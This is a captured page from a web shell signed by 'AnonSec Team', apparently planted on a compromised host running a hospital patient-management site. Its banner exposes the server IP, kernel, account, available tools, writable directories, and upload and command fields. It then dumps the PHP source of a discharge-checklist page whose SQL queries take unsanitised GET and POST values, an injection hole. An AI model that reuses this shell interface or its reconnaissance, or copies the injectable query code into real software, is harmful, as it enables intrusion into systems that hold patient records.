Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.14.251.57
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/edit_showpage_dischargechecklist.php
<?php session_start();
include 'dbconnection.php';
require_once("../patientmanager.php");
require_once("../DBManager.php");
include 'dashboarddocument.php';
include 'header.php';
if(isset($_POST['mlc'])) 
{
  	$updated_at=date("F d, Y / h:i:s A");
  	
$sql ="UPDATE `dischargechecklist` SET `Pharmacy_Replacement`='$_POST[Pharmacy_Replacement]',`Billing_Completed`='$_POST[Billing_Completed]',`summary_handed`='$_POST[summary_handed]',`Prescription_explained`='$_POST[Prescription_explained]',`Report_handed`='$_POST[Report_handed]',`iv_cannula_removed`='$_POST[iv_cannula_removed]',`Hospital_Dress_Changed`='$_POST[Hospital_Dress_Changed]',`Hospital_belonging`='$_POST[Hospital_belonging]',`Pending_report_informed`='$_POST[Pending_report_informed]',`Admission_Consent`='$_POST[Admission_Consent]',`Transfusion_Consent`='$_POST[Transfusion_Consent]',`Cost_Consent`='$_POST[Cost_Consent]',`Procedure_Consent`='$_POST[Procedure_Consent]',`High_Risk_Consent`='$_POST[High_Risk_Consent]',`Anesthesia_Consent`='$_POST[Anesthesia_Consent]',`LAMA_DOR_Consent`='$_POST[LAMA_DOR_Consent]',`Discharge_Consent`='$_POST[Discharge_Consent]',`check_date`='$_POST[check_date]',`Nurse_Name`='$_POST[Nurse_Name]',`updated_at`='$updated_at' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
//echo $sql;
if($qsql = mysqli_query($con,$sql))
		{
		      echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
 else {
    echo "Sorry, there was an error uploading your file.";
  } 
}

?>



<style>
.switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}


.center {
   border: 1px solid grey;
   text-align:;
}

  
    .box2{
              display: none;
    
    }
            
       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}
  </style>
  
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
  <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>

<form name="mlc"  method="post" >
    <table id='example2' class='table table-bordered table-hover' width='100%'> 
<h3 align='center'>Discharge Checklist</h3> <?php
session_start();
include 'dbconnection.php';
    $sql1 ="SELECT * FROM dischargechecklist WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rs1 = mysqli_fetch_array($qsql1))
		{
		    echo "<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Date : </td>
<td width='50%'><input type='date' value='$rs1[check_date]' name='check_date'>
</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Admission Consent : </td>
<td width='50%'><select name='Admission_Consent'>";?>
   <option value='Not Applicable' <?php  echo ($rs1[Admission_Consent] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Present' <?php  echo ($rs1[Admission_Consent] == 'Present') ? 'selected' : '';?>>Present</option>
          <option value='Missing' <?php  echo ($rs1[Admission_Consent] == 'Missing') ? 'selected' : '';?>>Missing </option>
<?php echo "</select></td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blood Transfusion Consent : </td>
<td width='50%'><select name='Transfusion_Consent'>";?>
  <option value='Not Applicable' <?php  echo ($rs1[Transfusion_Consent] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Present' <?php  echo ($rs1[Transfusion_Consent] == 'Present') ? 'selected' : '';?>>Present</option>
          <option value='Missing' <?php  echo ($rs1[Transfusion_Consent] == 'Missing') ? 'selected' : '';?>>Missing </option>
<?php echo "</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Cost Consent : </td>
<td width='50%'><select name='Cost_Consent'>";?>
   
    <option value='Not Applicable' <?php  echo ($rs1[Cost_Consent] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Present' <?php  echo ($rs1[Cost_Consent] == 'Present') ? 'selected' : '';?>>Present</option>
          <option value='Missing' <?php  echo ($rs1[Cost_Consent] == 'Missing') ? 'selected' : '';?>>Missing </option>

<?php echo "</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Procedure Consent : </td>
<td width='50%'><select name='Procedure_Consent'>";?>

   <option value='Not Applicable' <?php  echo ($rs1[Procedure_Consent] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Present' <?php  echo ($rs1[Procedure_Consent] == 'Present') ? 'selected' : '';?>>Present</option>
          <option value='Missing' <?php  echo ($rs1[Procedure_Consent] == 'Missing') ? 'selected' : '';?>>Missing </option>
 <?php echo" </select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; High Risk Consent : </td>
<td width='50%'><select name='High_Risk_Consent'>";?>
   <option value='Not Applicable' <?php  echo ($rs1[High_Risk_Consent] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Present' <?php  echo ($rs1[High_Risk_Consent] == 'Present') ? 'selected' : '';?>>Present</option>
          <option value='Missing' <?php  echo ($rs1[High_Risk_Consent] == 'Missing') ? 'selected' : '';?>>Missing </option>
<?php echo "</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Anesthesia Consent : </td>
<td width='50%'><select name='Anesthesia_Consent'>";?>
     <option value='Not Applicable' <?php  echo ($rs1[Anesthesia_Consent] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Present' <?php  echo ($rs1[Anesthesia_Consent] == 'Present') ? 'selected' : '';?>>Present</option>
          <option value='Missing' <?php  echo ($rs1[Anesthesia_Consent] == 'Missing') ? 'selected' : '';?>>Missing </option>
<?php echo "</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; LAMA/DOR Consent : </td>
<td width='50%'><select name='LAMA_DOR_Consent'>";?>
     <option value='Not Applicable' <?php  echo ($rs1[LAMA_DOR_Consent] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Present' <?php  echo ($rs1[LAMA_DOR_Consent] == 'Present') ? 'selected' : '';?>>Present</option>
          <option value='Missing' <?php  echo ($rs1[LAMA_DOR_Consent] == 'Missing') ? 'selected' : '';?>>Missing </option>
<?php echo "</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Discharge Consent : </td>
<td width='50%'><select name='Discharge_Consent'>";?>
    <option value='Not Applicable' <?php  echo ($rs1[Discharge_Consent] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Present' <?php  echo ($rs1[Discharge_Consent] == 'Present') ? 'selected' : '';?>>Present</option>
          <option value='Missing' <?php  echo ($rs1[Discharge_Consent] == 'Missing') ? 'selected' : '';?>>Missing </option>
<?php echo "</select></td>
</tr>
";
}
?>
<?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' ";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if(Pregnancy==$rs[casetype])
{
?>  <div id="mmenu">
    <?php
    include 'dbconnection.php';
    $sql ="SELECT * FROM dischargechecklist WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		 echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Safe Childbirth Checklist Step 1 : </td>
<td width='50%'><select name='Safe_Childbirth_Checklist'>";?>

          
          
      <option value='Not Applicable' <?php  echo ($rs[Safe_Childbirth_Checklist] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Completed' <?php  echo ($rs[Safe_Childbirth_Checklist] == 'Completed') ? 'selected' : '';?>>Completed</option>
          <option value='Missing'<?php  echo ($rs[Safe_Childbirth_Checklist] == 'Missing') ? 'selected' : '';?>>Missing </option>
<?php echo "</select></td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Safe Childbirth Checklist Step 1 : </td>
<td width='50%'><select name='Step_1'>";?>
    
          
    <option value='Not Applicable' <?php  echo ($rs[Step_1] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Completed' <?php  echo ($rs[Step_1] == 'Completed') ? 'selected' : '';?>>Completed</option>
          <option value='Missing'<?php  echo ($rs[Step_1] == 'Missing') ? 'selected' : '';?>>Missing </option>
          
<?php echo "</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Safe Childbirth Checklist Step 2 : </td>
<td width='50%'><select name='Step_2'>";?>


            <option value='Not Applicable' <?php  echo ($rs[Step_2] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Completed' <?php  echo ($rs[Step_2] == 'Completed') ? 'selected' : '';?>>Completed</option>
          <option value='Missing'<?php  echo ($rs[Step_2] == 'Missing') ? 'selected' : '';?>>Missing </option>
<?php echo "</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Safe Childbirth Checklist Step 3 : </td>
<td width='50%'><select name='Step_3'>";?>
    <option value='Not Applicable' <?php  echo ($rs[Step_3] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Completed' <?php  echo ($rs[Step_3] == 'Completed') ? 'selected' : '';?>>Completed</option>
          <option value='Missing'<?php  echo ($rs[Step_3] == 'Missing') ? 'selected' : '';?>>Missing </option>
<?php echo "</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Safe Childbirth Checklist Step 4 : </td>
<td width='50%'><select name='Step_4'>";?>
  <option value='Not Applicable' <?php  echo ($rs[Step_4] == 'Not Applicable') ? 'selected' : '';?>>Not Applicable</option>
      <option value='Completed' <?php  echo ($rs[Step_4] == 'Completed') ? 'selected' : '';?>>Completed</option>
          <option value='Missing'<?php  echo ($rs[Step_4] == 'Missing') ? 'selected' : '';?>>Missing </option>
          

<?php echo "</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Safe Childbirth Checklist (Step 4) : </td>
</tr>
     <h3 align='center'>Safe Childbirth Checklist 
Before Discharge (Step 4)
</h3>
              <div class='checkbox'>
          <table id='example2' class='table table-bordered table-hover' width='100%'>   <tr> <td> 
    <p>
       <h4>Confirm stay at facility for 24 hours after delivery</h4>
</td>
<td>
<select name='Confirm_stay'>
    <option value='$rs[Confirm_stay]'>$rs[Confirm_stay]</option> 
      <option value='Yes'>Yes</option>
      <option value='Not Needed'>Not Needed </option>
    
</select>
    </td>  </tr>
    <tr> <td> 
    <p>
       <h4>Does mother need to start antibiotics? </h4>
</td>
<td>
<select name='start_antibiotics'>
    <option value='$rs[start_antibiotics]'>$rs[start_antibiotics] </option> 
      <option value='No'>No</option>
      <option value='Yes given and delay discharge'>Yes, given and delay discharge </option>
    
</select>
    </td>  </tr>
        <tr> <td> 
    <p>
       <h4>Is mother’s blood pressure normal?</h4>
</td>
<td>
<select name='blood_pressure_normal'>
 <option value='$rs[blood_pressure_normal]'>$rs[blood_pressure_normal]</option>
    <option value='start_antibiotics'>Is mother’s blood pressure normal?</option> 
      <option value='No treat and delay discharge '>No, treat and delay discharge </option>
      <option value='Yes'>Yes </option>
    
</select>
    </td>  </tr>
    
           <tr> <td> 
    <p>
       <h4>Is mother bleeding abnormally?</h4>
</td>
<td>
<select name='mother_bleeding_abnormally'>
    <option value='$rs[mother_bleeding_abnormally]'>$rs[mother_bleeding_abnormally]</option> 
      <option value='No'>No</option>
      <option value='Yes, treat and delay discharge'>Yes, treat and delay discharge </option>
    
</select>
    </td>  </tr>
    
             <tr> <td> 
    <p>
       <h4>Does baby need to start antibiotics?</h4>
</td>
<td>
<select name='start_antibiotics'>
    <option value='$rs[start_antibiotics]'>$rs[start_antibiotics]</option> 
      <option value='No'>No</option>
      <option value='Yes, give antibiotics, delay discharge, give special care'>Yes, give antibiotics, delay discharge, give special care</option>
    
</select>
    </td>  </tr>
    
         <tr> <td> 
    <p>
       <h4>Is baby feeding well?</h4>
</td>
<td>
<select name='feeding_well'>
   <option value='$rs[feeding_well]'>$rs[feeding_well]</option>
    <option value='Is baby feeding well'>Is baby feeding well?</option> 
      <option value='No, establish good breastfeeding practices and delay discharge '>No, establish good breastfeeding practices and delay discharge </option>
      <option value='Yes'>Yes</option>
    
</select>
    </td>  </tr>
    ";
    if($rs[family_planning]=='on')
    {
      echo"<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Discuss and offer family planning options to mother </td>
<td width='50%'><label class='switch'>
  <input name='family_planning'  type='checkbox'checked>
  <span class='slider'></span>
</label>
</td>
</tr>";  
    }
    else{
echo"<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Discuss and offer family planning options to mother </td>
<td width='50%'><label class='switch'>
  <input name='family_planning'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>";  
    }
   if($rs[Arrange_follow_up]=='on')
    {
        echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Arrange follow-up and confirm mother  </td>
<td width='50%'><label class='switch'>
  <input name='Arrange_follow_up'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
     echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Arrange follow-up and confirm mother  </td>
<td width='50%'><label class='switch'>
  <input name='Arrange_follow_up'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
echo"
</table>
<h3 align='center'>Danger Signs</h3>
<h5>Mother has any of</h3>
 <table id='example2' class='table table-bordered table-hover' width='100%'> 
 ";
 if($rs[Bleeding]=='on')
 {
   echo"  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Bleeding </td>
<td width='50%'><label class='switch'>
  <input name='Bleeding'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>";  
 }
else{
   echo"  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Bleeding </td>
<td width='50%'><label class='switch'>
  <input name='Bleeding'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>";  
}
if($rs[Severe_abdominal_pain]=='on')
{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Severe abdominal pain </td>
<td width='50%'><label class='switch'>
  <input name='Severe_abdominal_pain'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
  echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Severe abdominal pain </td>
<td width='50%'><label class='switch'>
  <input name='Severe_abdominal_pain'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";  
}
if($rs[visual_disturbance]=='on')
{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Severe headache or visual disturbance</td>
<td width='50%'><label class='switch'>
  <input name='visual_disturbance'  type='checkbox'checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
 echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Severe headache or visual disturbance</td>
<td width='50%'><label class='switch'>
  <input name='visual_disturbance'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";    
}
if($rs[Breathing_difficulty]=='on')
{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Breathing difficulty</td>
<td width='50%'><label class='switch'>
  <input name='Breathing_difficulty'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
     echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Breathing difficulty</td>
<td width='50%'><label class='switch'>
  <input name='Breathing_difficulty'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[Fever_chills]=='on')
{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Fever or chills</td>
<td width='50%'><label class='switch'>
  <input name='Fever_chills'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
  echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Fever or chills</td>
<td width='50%'><label class='switch'>
  <input name='Fever_chills'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[Difficulty_emptying_bladder]=='on')
{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Difficulty emptying bladder</td>
<td width='50%'><label class='switch'>
  <input name='Difficulty_emptying_bladder'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Difficulty emptying bladder</td>
<td width='50%'><label class='switch'>
  <input name='Difficulty_emptying_bladder'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
"; 
}
if($rs[Epigastric_pain]=='on')
{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Epigastric pain</td>
<td width='50%'><label class='switch'>
  <input name='Epigastric_pain'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
     echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Epigastric pain</td>
<td width='50%'><label class='switch'>
  <input name='Epigastric_pain'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[Fast_difficult_breathing]=='on')
{
    echo"
<tr><td><h5 align='left'>Baby has any of:</h5></td></tr>
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Fast/difficult breathing</td>
<td width='50%'><label class='switch'>
  <input name='Fast_difficult_breathing'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
     echo"
<tr><td><h5 align='left'>Baby has any of:</h5></td></tr>
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Fast/difficult breathing</td>
<td width='50%'><label class='switch'>
  <input name='Fast_difficult_breathing'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[Fever]=='on')
{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Fever</td>
<td width='50%'><label class='switch'>
  <input name='Fever'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Fever</td>
<td width='50%'><label class='switch'>
  <input name='Fever'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
"; 
}
if($rs[Unusually_cold]=='on')
{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Unusually cold</td>
<td width='50%'><label class='switch'>
  <input name='Unusually_cold'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Unusually cold</td>
<td width='50%'><label class='switch'>
  <input name='Unusually_cold'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
"; 
}
if($rs[Stops_feeding_well]=='on')
{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Stops feeding well</td>
<td width='50%'><label class='switch'>
  <input name='Stops_feeding_well'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
  echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Stops feeding well</td>
<td width='50%'><label class='switch'>
  <input name='Stops_feeding_well'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[Less_activity]=='on')
{
    echo"

  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Less activity than normal</td>
<td width='50%'><label class='switch'>
  <input name='Less_activity'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
     echo"

  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Less activity than normal</td>
<td width='50%'><label class='switch'>
  <input name='Less_activity'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[becomes_yellow]=='on')
{
    echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Whole body becomes yellow</td>
<td width='50%'><label class='switch'>
  <input name='becomes_yellow'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
      echo"
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Whole body becomes yellow</td>
<td width='50%'><label class='switch'>
  <input name='becomes_yellow'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";  
}
echo"
</table></div></div>
";
}
?>
<?php
}
}
?>
<table id='example2' class='table table-bordered table-hover' width='100%'>
    <?php
    $sql ="SELECT * FROM dischargechecklist WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		 if($rs[Pharmacy_Replacement]=='on')
		 {
		     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pharmacy Replacement  : </td>
<td width='50%'><label class='switch'>
  <input name='Pharmacy_Replacement' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
    	     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pharmacy Replacement  : </td>
<td width='50%'><label class='switch'>
  <input name='Pharmacy_Replacement' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
	 if($rs[Billing_Completed]=='on')
		 {
		     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Billing Completed : </td>
<td width='50%'><label class='switch'>
  <input name='Billing_Completed' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";

}
else{
  	     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Billing Completed : </td>
<td width='50%'><label class='switch'>
  <input name='Billing_Completed' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";  
}
if($rs[summary_handed]=='on')
		 {
		     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Discharge summary explained and handed over : </td>
<td width='50%'><label class='switch'>
  <input name='summary_handed' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
       echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Discharge summary explained and handed over : </td>
<td width='50%'><label class='switch'>
  <input name='summary_handed' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[Prescription_explained]=='on')
		 {
		     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Prescription explained and handed over : </td>
<td width='50%'><label class='switch'>
  <input name='Prescription_explained' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
      echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Prescription explained and handed over : </td>
<td width='50%'><label class='switch'>
  <input name='Prescription_explained' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[Report_handed]=='on')
		 {
		     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Report handed over : </td>
<td width='50%'><label class='switch'>
  <input name='Report_handed' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
      echo"
      <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Report handed over : </td>
<td width='50%'><label class='switch'>
  <input name='Report_handed' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}

if($rs[iv_cannula_removed]=='on')
		 {
		     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Iv Cannula Removed : </td>
<td width='50%'><label class='switch'>
  <input name='iv_cannula_removed' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
      echo"
      <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Iv Cannula Removed : </td>
<td width='50%'><label class='switch'>
  <input name='iv_cannula_removed' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}

if($rs[Hospital_Dress_Changed]=='on')
		 {
		     echo"
		     <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Hospital Dress Changed : </td>
<td width='50%'><label class='switch'>
  <input name='Hospital_Dress_Changed' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
      echo"  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Hospital Dress Changed : </td>
<td width='50%'><label class='switch'>
  <input name='Hospital_Dress_Changed' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[Hospital_belonging]=='on')
		 {
		     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Hospital belonging checked and taken back : </td>
<td width='50%'><label class='switch'>
  <input name='Hospital_belonging' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
      echo"<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Hospital belonging checked and taken back : </td>
<td width='50%'><label class='switch'>
  <input name='Hospital_belonging' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[Consultant_informed]=='on')
		 {
		     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Consultant informed : </td>
<td width='50%'><label class='switch'>
  <input name='Consultant_informed' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
      echo"
      <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Consultant informed : </td>
<td width='50%'><label class='switch'>
  <input name='Consultant_informed' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}

if($rs[Pending_report_informed]=='on')
		 {
		     echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;Pending report informed: </td>
<td width='50%'><label class='switch'>
  <input name='Pending_report_informed' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else{
      echo"
      <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pending report informed:</td>
<td width='50%'><label class='switch'>
  <input name='Pending_report_informed' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
echo"
<tr>
<td><label>Nurse Name</label></td><td><input value='$rs[Nurse_Name]' type='text' name='Nurse_Name' placeholder='Nurse Name'></td>
</tr>
</table>
</fieldset>



<br>


 
";
}
?>
	<button type="submit" name="mlc">Update</button>
				 
				 
				 </form>

Anon7 - 2022
AnonSec Team